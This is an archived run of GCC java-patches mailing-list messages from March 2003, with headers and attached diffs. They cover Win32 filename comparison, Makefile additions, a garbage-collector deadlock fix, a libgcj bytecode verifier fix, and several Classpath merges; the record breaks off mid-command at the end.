invoked by alias); 3 Mar 2003 10:53:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30181 invoked from network); 3 Mar 2003 10:53:18 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 3 Mar 2003 10:53:18 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-12.rdu.redhat.com [172.16.50.12]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 57CC9ABB05; Mon, 3 Mar 2003 10:53:15 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h23Ar2l24744; Mon, 3 Mar 2003 10:53:02 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15971.13325.973960.371375@cuddles.cambridge.redhat.com> Date: Mon, 3 Mar 2003 10:53:01 +0000 (GMT) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 In-Reply-To: <3E625174.E1C6C5B3@hotmail.com> References: <3E591729.9FEFF8B1@hotmail.com> <87wujislt1.fsf@fleche.redhat.com> <3E625174.E1C6C5B3@hotmail.com> Ranjit Mathew writes: > > + /* On case-insensitive file systems, file name components must be > + compared using "strcasecmp", if available, instead of "strcmp". > + Assumes "config.h" has already been included. */ > + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP) > + #define COMPARE_FILENAMES(x, y) strcasecmp ((x), (y)) > + #else > + #define COMPARE_FILENAMES(x, y) strcmp ((x), (y)) > + #endif > + Prefer COMPARE_FILENAMES(X, Y) Otherwise OK. Andrew. From java-patches-return-6369-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 03 11:03:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4779 invoked by alias); 3 Mar 2003 11:03:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4772 invoked from network); 3 Mar 2003 11:03:46 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.94) by 172.16.49.205 with SMTP; 3 Mar 2003 11:03:46 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 3 Mar 2003 03:03:46 -0800 X-Originating-IP: [148.87.1.170] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: References: <3E591729.9FEFF8B1@hotmail.com><87wujislt1.fsf@fleche.redhat.com><3E625174.E1C6C5B3@hotmail.com> <15971.13325.973960.371375@cuddles.cambridge.redhat.com> Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 Date: Mon, 3 Mar 2003 16:35:32 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_001B_01C2E1A2.E8C4FA50" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 03 Mar 2003 11:03:46.0413 (UTC) FILETIME=[8FC259D0:01C2E174] This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C2E1A2.E8C4FA50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit > Ranjit Mathew writes: > > > > + /* On case-insensitive file systems, file name components must be > > + compared using "strcasecmp", if available, instead of "strcmp". > > + Assumes "config.h" has already been included. */ > > + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP) > > + #define COMPARE_FILENAMES(x, y) strcasecmp ((x), (y)) > > + #else > > + #define COMPARE_FILENAMES(x, y) strcmp ((x), (y)) > > + #endif > > + > > Prefer COMPARE_FILENAMES(X, Y) > > Otherwise OK. See attachment. ------=_NextPart_000_001B_01C2E1A2.E8C4FA50 Content-Type: application/octet-stream; name="p1" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="p1" Index: ChangeLog=0A= from Ranjit Mathew =0A= =0A= * jcf.h (COMPARE_FILENAMES): New macro similar to "strcmp" to=0A= compare file name components depending on the case-sensitivity=0A= or otherwise of the host file system.=0A= =0A= * jcf-path.c (add_entry): Use COMPARE_FILENAMES instead of=0A= "strcmp" to compare file name components.=0A= Use IS_DIR_SEPARATOR instead of comparing directly against=0A= DIR_SEPARATOR.=0A= (jcf_path_extdirs_arg): Use IS_DIR_SEPARATOR instead of =0A= comparing directly against DIR_SEPARATOR.=0A= =0A= *** jcf.h Sun Mar 2 21:14:02 2003=0A= --- jcf.h Sun Mar 2 21:27:34 2003=0A= ***************=0A= *** 1,5 ****=0A= /* Utility macros to read Java(TM) .class files and byte codes.=0A= =0A= ! Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002 Free = Software Foundation, Inc.=0A= =0A= This program is free software; you can redistribute it and/or modify=0A= --- 1,6 ----=0A= /* Utility macros to read Java(TM) .class files and byte codes.=0A= =0A= ! Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003=0A= ! Free Software Foundation, Inc.=0A= =0A= This program is free software; you can redistribute it and/or modify=0A= *************** The Free Software Foundation is independ=0A= *** 72,75 ****=0A= --- 73,85 ----=0A= #endif =0A= =0A= + /* On case-insensitive file systems, file name components must be =0A= + compared using "strcasecmp", if available, instead of "strcmp".=0A= + Assumes "config.h" has already been included. */=0A= + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP)=0A= + #define COMPARE_FILENAMES(X, Y) strcasecmp ((X), (Y))=0A= + #else=0A= + #define COMPARE_FILENAMES(X, Y) strcmp ((X), (Y))=0A= + #endif=0A= + =0A= struct JCF;=0A= typedef int (*jcf_filbuf_t) PARAMS ((struct JCF*, int needed));=0A= *** jcf-path.c Mon Jan 27 21:43:44 2003=0A= --- jcf-path.c Sun Mar 2 21:27:54 2003=0A= ***************=0A= *** 1,5 ****=0A= /* Handle CLASSPATH, -classpath, and path searching.=0A= =0A= ! Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software = Foundation, Inc.=0A= =0A= This program is free software; you can redistribute it and/or modify=0A= --- 1,6 ----=0A= /* Handle CLASSPATH, -classpath, and path searching.=0A= =0A= ! Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software =0A= ! Foundation, Inc.=0A= =0A= This program is free software; you can redistribute it and/or modify=0A= *************** add_entry (entp, filename, is_system)=0A= *** 149,154 ****=0A= =0A= len =3D strlen (filename);=0A= ! if (len > 4 && (strcmp (filename + len - 4, ".zip") =3D=3D 0=0A= ! || strcmp (filename + len - 4, ".jar") =3D=3D 0))=0A= {=0A= n->flags |=3D FLAG_ZIP;=0A= --- 150,156 ----=0A= =0A= len =3D strlen (filename);=0A= ! =0A= ! if (len > 4 && (COMPARE_FILENAMES (filename + len - 4, ".zip") = =3D=3D 0=0A= ! || COMPARE_FILENAMES (filename + len - 4, ".jar") =3D=3D 0))=0A= {=0A= n->flags |=3D FLAG_ZIP;=0A= *************** add_entry (entp, filename, is_system)=0A= *** 157,161 ****=0A= way. Symlinks will fool this test. This is only used for=0A= -MM and -MMD, so it probably isn't terribly important. */=0A= ! if (! strcmp (filename, LIBGCJ_ZIP_FILE))=0A= n->flags |=3D FLAG_SYSTEM;=0A= }=0A= --- 159,163 ----=0A= way. Symlinks will fool this test. This is only used for=0A= -MM and -MMD, so it probably isn't terribly important. */=0A= ! if (! COMPARE_FILENAMES (filename, LIBGCJ_ZIP_FILE))=0A= n->flags |=3D FLAG_SYSTEM;=0A= }=0A= *************** add_entry (entp, filename, is_system)=0A= *** 164,168 ****=0A= This is a little hack that lets the searching code in jcf-io.c=0A= work more easily. Eww. */=0A= ! if (filename[len - 1] !=3D '/' && filename[len - 1] !=3D = DIR_SEPARATOR)=0A= {=0A= char *f2 =3D alloca (len + 2);=0A= --- 166,170 ----=0A= This is a little hack that lets the searching code in jcf-io.c=0A= work more easily. Eww. */=0A= ! if (! IS_DIR_SEPARATOR (filename[len - 1]))=0A= {=0A= char *f2 =3D alloca (len + 2);=0A= *************** jcf_path_extdirs_arg (cp)=0A= *** 379,383 ****=0A= + strlen (direntp->d_name) + 2);=0A= strcpy (name, buf);=0A= ! if (name[dirname_length-1] !=3D DIR_SEPARATOR)=0A= {=0A= name[dirname_length] =3D DIR_SEPARATOR;=0A= --- 381,385 ----=0A= + strlen (direntp->d_name) + 2);=0A= strcpy (name, buf);=0A= ! if (! IS_DIR_SEPARATOR (name[dirname_length-1]))=0A= {=0A= name[dirname_length] =3D DIR_SEPARATOR;=0A= =0A= ------=_NextPart_000_001B_01C2E1A2.E8C4FA50-- From java-patches-return-6370-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 03 14:38:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17545 invoked by alias); 3 Mar 2003 14:38:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17537 invoked from network); 3 Mar 2003 14:38:32 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 3 Mar 2003 14:38:32 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-64-151.ewetel.net [80.228.64.151]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h23EcTXR014731 for ; Mon, 3 Mar 2003 15:38:30 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: gnu.java.nio.MappedByteFileBuffer Date: Mon, 3 Mar 2003 15:38:54 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_+j2Y+4+XcS/3mlB" Message-Id: <200303031539.01971.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_+j2Y+4+XcS/3mlB Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to enable compilation of=20 gnu.java.nio.MappedByteFileBuffer. Michael =2D -- Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Y2kFWSOgCCdjSDsRAhtQAJ41T6xfCx0ae5pySMAW+1TmeCb0zwCglapt x35m73YNxsVLtUhBKkkTQy8=3D =3DF/KT =2D----END PGP SIGNATURE----- --Boundary-00=_+j2Y+4+XcS/3mlB Content-Type: text/x-diff; charset="iso-8859-15"; name="mapped.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="mapped.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1763 diff -u -r1.1763 ChangeLog --- ChangeLog 3 Mar 2003 08:26:49 -0000 1.1763 +++ ChangeLog 3 Mar 2003 14:36:09 -0000 @@ -1,5 +1,14 @@ 2003-03-03 Michael Koch + * Makefile.am + (ordinary_java_source_files): + Added gnu/java/nio/MappedByteFileBuffer.java. + (nat_source_files): + Added gnu/java/nio/natMappedByteFileBuffer.cc. + * Makefile.in: Regenerated. + +2003-03-03 Michael Koch + * java/net/DatagramSocket.java (connect): Merged comment from classpath. (receive): Merged documentation from classpath. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.283 diff -u -r1.283 Makefile.am --- Makefile.am 2 Mar 2003 14:24:48 -0000 1.283 +++ Makefile.am 3 Mar 2003 14:36:10 -0000 @@ -2073,6 +2073,7 @@ gnu/java/nio/FloatBufferImpl.java \ gnu/java/nio/IntBufferImpl.java \ gnu/java/nio/LongBufferImpl.java \ +gnu/java/nio/MappedByteFileBuffer.java \ gnu/java/nio/PipeImpl.java \ gnu/java/nio/SelectionKeyImpl.java \ gnu/java/nio/SelectorImpl.java \ @@ -2493,6 +2494,7 @@ gnu/java/nio/natFloatBufferImpl.cc \ gnu/java/nio/natIntBufferImpl.cc \ gnu/java/nio/natLongBufferImpl.cc \ +gnu/java/nio/natMappedByteFileBuffer.cc \ gnu/java/nio/natSelectorImpl.cc \ gnu/java/nio/natShortBufferImpl.cc \ gnu/java/nio/natSocketChannelImpl.cc \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.304 diff -u -r1.304 Makefile.in --- Makefile.in 2 Mar 2003 14:24:48 -0000 1.304 +++ Makefile.in 3 Mar 2003 14:36:12 -0000 @@ -1834,6 +1834,7 @@ gnu/java/nio/FloatBufferImpl.java \ gnu/java/nio/IntBufferImpl.java \ gnu/java/nio/LongBufferImpl.java \ +gnu/java/nio/MappedByteFileBuffer.java \ gnu/java/nio/PipeImpl.java \ gnu/java/nio/SelectionKeyImpl.java \ gnu/java/nio/SelectorImpl.java \ @@ -2253,6 +2254,7 @@ gnu/java/nio/natFloatBufferImpl.cc \ gnu/java/nio/natIntBufferImpl.cc \ gnu/java/nio/natLongBufferImpl.cc \ +gnu/java/nio/natMappedByteFileBuffer.cc \ gnu/java/nio/natSelectorImpl.cc \ gnu/java/nio/natShortBufferImpl.cc \ gnu/java/nio/natSocketChannelImpl.cc \ @@ -2430,14 +2432,14 @@ gnu/java/nio/natCharBufferImpl.lo gnu/java/nio/natDoubleBufferImpl.lo \ gnu/java/nio/natFileChannelImpl.lo gnu/java/nio/natFloatBufferImpl.lo \ gnu/java/nio/natIntBufferImpl.lo gnu/java/nio/natLongBufferImpl.lo \ -gnu/java/nio/natSelectorImpl.lo gnu/java/nio/natShortBufferImpl.lo \ -gnu/java/nio/natSocketChannelImpl.lo java/io/natFile.lo \ -java/io/natFileDescriptor.lo java/io/natObjectInputStream.lo \ -java/io/natVMObjectStreamClass.lo java/lang/natCharacter.lo \ -java/lang/natClass.lo java/lang/natClassLoader.lo \ -java/lang/natConcreteProcess.lo java/lang/natDouble.lo \ -java/lang/natFloat.lo java/lang/natMath.lo java/lang/natObject.lo \ -java/lang/natRuntime.lo java/lang/natString.lo \ +gnu/java/nio/natMappedByteFileBuffer.lo gnu/java/nio/natSelectorImpl.lo \ +gnu/java/nio/natShortBufferImpl.lo gnu/java/nio/natSocketChannelImpl.lo \ +java/io/natFile.lo java/io/natFileDescriptor.lo \ +java/io/natObjectInputStream.lo java/io/natVMObjectStreamClass.lo \ +java/lang/natCharacter.lo java/lang/natClass.lo \ +java/lang/natClassLoader.lo java/lang/natConcreteProcess.lo \ +java/lang/natDouble.lo java/lang/natFloat.lo java/lang/natMath.lo \ +java/lang/natObject.lo java/lang/natRuntime.lo java/lang/natString.lo \ java/lang/natStringBuffer.lo java/lang/natSystem.lo \ java/lang/natThread.lo java/lang/natVMSecurityManager.lo \ java/lang/ref/natReference.lo java/lang/reflect/natArray.lo \ @@ -2896,7 +2898,8 @@ .deps/gnu/java/nio/DoubleBufferImpl.P \ .deps/gnu/java/nio/FileChannelImpl.P \ .deps/gnu/java/nio/FloatBufferImpl.P .deps/gnu/java/nio/IntBufferImpl.P \ -.deps/gnu/java/nio/LongBufferImpl.P .deps/gnu/java/nio/PipeImpl.P \ +.deps/gnu/java/nio/LongBufferImpl.P \ +.deps/gnu/java/nio/MappedByteFileBuffer.P .deps/gnu/java/nio/PipeImpl.P \ .deps/gnu/java/nio/SelectionKeyImpl.P .deps/gnu/java/nio/SelectorImpl.P \ .deps/gnu/java/nio/SelectorProviderImpl.P \ .deps/gnu/java/nio/ServerSocketChannelImpl.P \ @@ -2918,6 +2921,7 @@ .deps/gnu/java/nio/natFloatBufferImpl.P \ .deps/gnu/java/nio/natIntBufferImpl.P \ .deps/gnu/java/nio/natLongBufferImpl.P \ +.deps/gnu/java/nio/natMappedByteFileBuffer.P \ .deps/gnu/java/nio/natSelectorImpl.P \ .deps/gnu/java/nio/natShortBufferImpl.P \ .deps/gnu/java/nio/natSocketChannelImpl.P \ --Boundary-00=_+j2Y+4+XcS/3mlB-- From java-patches-return-6371-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 03 23:10:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28901 invoked by alias); 3 Mar 2003 23:10:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28894 invoked from network); 3 Mar 2003 23:10:38 -0000 Received: from unknown (HELO palrel10.hp.com) (156.153.255.245) by 172.16.49.205 with SMTP; 3 Mar 2003 23:10:38 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by palrel10.hp.com (Postfix) with ESMTP id 2A94E1C016D9; Mon, 3 Mar 2003 15:10:38 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h23NAZP18819; Mon, 3 Mar 2003 15:10:36 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Mon, 03 Mar 2003 15:10:35 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id ; Mon, 3 Mar 2003 15:10:35 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA1370B@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'tromey@redhat.com'" , "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org'" Subject: RE: dl_iterate_phdr() deadlock patch Date: Mon, 3 Mar 2003 15:10:35 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" A quick status update: I checked the patch into the trunk. I then decided to run SPECjbb on X86 as one last test before checking it into 3.3. That failed. It turns out that dl_iterate_phdr() apparently doesn't issue a callback for the main executable in a completely statically linked program, though it appears to do so if the program is linked against any dynamic libraries. I am generating a small patch to work around this. Unless I hear otherwise, I will check the result into 3.3 very soon, and update the trunk correspondingly. Hans > -----Original Message----- > From: Tom Tromey [mailto:tromey@redhat.com] > Sent: Saturday, March 01, 2003 3:48 PM > To: Boehm, Hans > Cc: 'java-patches@gcc.gnu.org' > Subject: Re: dl_iterate_phdr() deadlock patch > > > >>>>> "Hans" == Boehm, Hans writes: > > Hans> This patch is extracted from my current GC tree. I would like > Hans> to check it into both the trunk and 3.3. It should do 4 things: > > Thanks. I'm still hoping to import the new GC, but it seems less and > less likely before 3.3 due to lack of time. > > This patch was the major thing we wanted from the import. So let's > put it in to 3.3 and 3.4. It won't hurt if I'm able to do the import, > and it will help a lot of I'm not able. > > Hans> Question: Is it currently true that GC_dlopen can only be called > Hans> from one thread at a time? > > Yes, we synchronize around ltdl calls. > > Well, SharedLibLoader isn't synchronized, but that isn't used much and > has some bugs anyway. Though this reminds me I need to fix up my big > solib: patch to make sure the dlopen is synchronized properly. I put > this on my to-do list. > > Tom > From java-patches-return-6372-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 03 23:20:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7419 invoked by alias); 3 Mar 2003 23:20:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7412 invoked from network); 3 Mar 2003 23:20:31 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 3 Mar 2003 23:20:31 -0000 Received: from fleche.redhat.com (te0190.peakpeak.com [204.144.238.190]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA02892; Mon, 3 Mar 2003 16:20:30 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 574534F8610; Mon, 3 Mar 2003 16:12:23 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: libgcj verifier bug fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm protected by a ROLL-ON I rented from AVIS.. Date: 03 Mar 2003 16:12:23 -0700 Message-ID: <87smu4m4dk.fsf@fleche.redhat.com> Lines: 67 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the 3.3 branch and the trunk. This fixes a fairly obscure bug in the libgcj verifier. It is ok for a `jsr' to be the last bytecode instruction in a method, provided that the corresponding subroutine never returns. There is a new test case in Mauve. The IBM 1.3 JDK verifier passes this too. Interestingly, the bytecode in question causes the Sun 1.4 JDK to crash. Tom Index: ChangeLog from Tom Tromey * verify.cc (handle_jsr_insn): Don't fail if `jsr' appears at end of bytecode. (handle_ret_insn): Fail if returning to jsr that appears at end of bytecode. Index: verify.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/verify.cc,v retrieving revision 1.51 diff -u -r1.51 verify.cc --- verify.cc 16 Feb 2003 19:34:49 -0000 1.51 +++ verify.cc 3 Mar 2003 23:16:44 -0000 @@ -1526,6 +1526,12 @@ for (subr_info *subr = jsr_ptrs[csub]; subr != NULL; subr = subr->next) { + // We might be returning to a `jsr' that is at the end of the + // bytecode. This is ok if we never return from the called + // subroutine, but if we see this here it is an error. + if (subr->pc >= current_method->code_length) + verify_fail ("fell off end"); + // Temporarily modify the current state so it looks like we're // in the enclosing context. current_state->subroutine = get_subroutine (subr->pc); @@ -1575,16 +1581,15 @@ // the local variable state across the jsr, but the subroutine // might change the stack depth, so we can't make any assumptions // about it. So we have yet another special case. We know that - // at this point PC points to the instruction after the jsr. - - // FIXME: what if we have a jsr at the end of the code, but that - // jsr has no corresponding ret? Is this verifiable, or is it - // not? If it is then we need a special case here. - if (PC >= current_method->code_length) - verify_fail ("fell off end"); - - current_state->stacktop = state::NO_STACK; - push_jump_merge (PC, current_state); + // at this point PC points to the instruction after the jsr. Note + // that it is ok to have a `jsr' at the end of the bytecode, + // provided that the called subroutine never returns. So, we have + // a special case here and another one when we handle the ret. + if (PC < current_method->code_length) + { + current_state->stacktop = state::NO_STACK; + push_jump_merge (PC, current_state); + } invalidate_pc (); } From java-patches-return-6373-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 04 05:44:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14573 invoked by alias); 4 Mar 2003 05:44:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14561 invoked from network); 4 Mar 2003 05:44:07 -0000 Received: from unknown (HELO mail.cruzio.com) (63.249.95.37) by 172.16.49.205 with SMTP; 4 Mar 2003 05:44:07 -0000 Received: from cruzio.com (dsl3-63-249-87-156.cruzio.com [63.249.87.156]) by mail.cruzio.com with ESMTP id VAA09810; Mon, 3 Mar 2003 21:43:55 -0800 (PST) Message-ID: <3E643DE6.56C84715@cruzio.com> Date: Mon, 03 Mar 2003 21:47:18 -0800 From: Warren Levy X-Accept-Language: en MIME-Version: 1.0 To: Mark Wielaard CC: tromey@redhat.com, java-patches@gcc.gnu.org Subject: Re: Classpath ObjectIn/OutputStream merge References: <1046016925.3355.827.camel@elsschot> <87bs0xrp7o.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tom Tromey wrote: > > At this point you are the active libgcj hacker with the most knowledge > of the serialization code. ... > I trust your judgement on this; I think you should feel free to take > over serialization and not wait for approvals Most likely being the "inactive" ;-) libgcj hacker with serialization knowledge and prior maintainer of that part of libgcj, I figured I should chime in; I fully agree with Tom. FWIW, I like to look over the serialization patches as they come in, so I'll respond if I see anything interesting. Unfortunately, my bandwidth is limited so it may not be very timely feedback :-(. > Also, if other serialization patches come in, please feel > free to approve or reject them. I agree on that point too. Someday I hope to free up some time to return to working on libgcj, in which case I'll again be able to shoulder some of the load of approving patches. --warrenl From java-patches-return-6374-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 04 06:01:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28831 invoked by alias); 4 Mar 2003 06:01:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28813 invoked from network); 4 Mar 2003 06:01:35 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 4 Mar 2003 06:01:35 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-64-134.ewetel.net [80.228.64.134]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2461XXR011855 for ; Tue, 4 Mar 2003 07:01:34 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: java.net.NetworkInterface Date: Tue, 4 Mar 2003 07:02:01 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ZFEZ+SsQ3JWt8Qh" Message-Id: <200303040702.04233.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ZFEZ+SsQ3JWt8Qh Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, this merges java.net.NetworkInterface with classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+ZEFcWSOgCCdjSDsRAgwnAJ9cXz+qqiRk/HjapJR6LeWY4ewyiwCfRuS/ Jm/92kVoxkBOFiABE5SLvso=3D =3DGbOh =2D----END PGP SIGNATURE----- --Boundary-00=_ZFEZ+SsQ3JWt8Qh Content-Type: text/x-diff; charset="iso-8859-15"; name="NetworkInterface.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="NetworkInterface.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1765 diff -u -r1.1765 ChangeLog --- ChangeLog 3 Mar 2003 23:25:52 -0000 1.1765 +++ ChangeLog 4 Mar 2003 06:00:02 -0000 @@ -1,3 +1,7 @@ +2003-03-03 Michael Koch + + * java/net/NetworkInterface.java: Merged with classpath. + 2003-03-03 Tom Tromey * verify.cc (handle_jsr_insn): Don't fail if `jsr' appears at end Index: java/net/NetworkInterface.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/NetworkInterface.java,v retrieving revision 1.4 diff -u -r1.4 NetworkInterface.java --- java/net/NetworkInterface.java 13 Feb 2003 07:33:39 -0000 1.4 +++ java/net/NetworkInterface.java 4 Mar 2003 06:00:02 -0000 @@ -1,5 +1,5 @@ /* NetworkInterface.java - Copyright (C) 2002 Free Software Foundation, Inc. + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -200,7 +200,6 @@ return false; NetworkInterface tmp = (NetworkInterface) obj; - return (name.equals (tmp.name) && inetAddresses.equals (tmp.inetAddresses)); } --Boundary-00=_ZFEZ+SsQ3JWt8Qh-- From java-patches-return-6375-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 04 12:17:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22407 invoked by alias); 4 Mar 2003 12:17:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22395 invoked from network); 4 Mar 2003 12:17:50 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 4 Mar 2003 12:17:50 -0000 Received: from solomon (a3-p42.syd.fl.net.au [202.181.1.106]) by delenn.fl.net.au (Postfix) with ESMTP id CE947180260 for ; Tue, 4 Mar 2003 23:25:45 +1100 (EST) From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: missing interface and classes in java.security .interfaces and .spec Date: Tue, 4 Mar 2003 23:22:43 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_V15885FHSO2KU1ADBIER" Message-Id: <200303042322.43744.raif@fl.net.au> --------------Boundary-00=_V15885FHSO2KU1ADBIER Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-04 Raif S. Naffah =09* java/security/interfaces/RSAMultiPrimePrivateCrtKey.java: new interf= ace. =09* java/security/spec/PSSParameterSpec.java: new class. =09* java/security/spec/RSAMultiPrimePrivateCrtKeySpec.java: new class. =09* java/security/spec/RSAOtherPrimeInfo.java: new class. =09* Makefile.am: added the above. =09* Makefile.in: re-generated. cvs -z9 diff -u 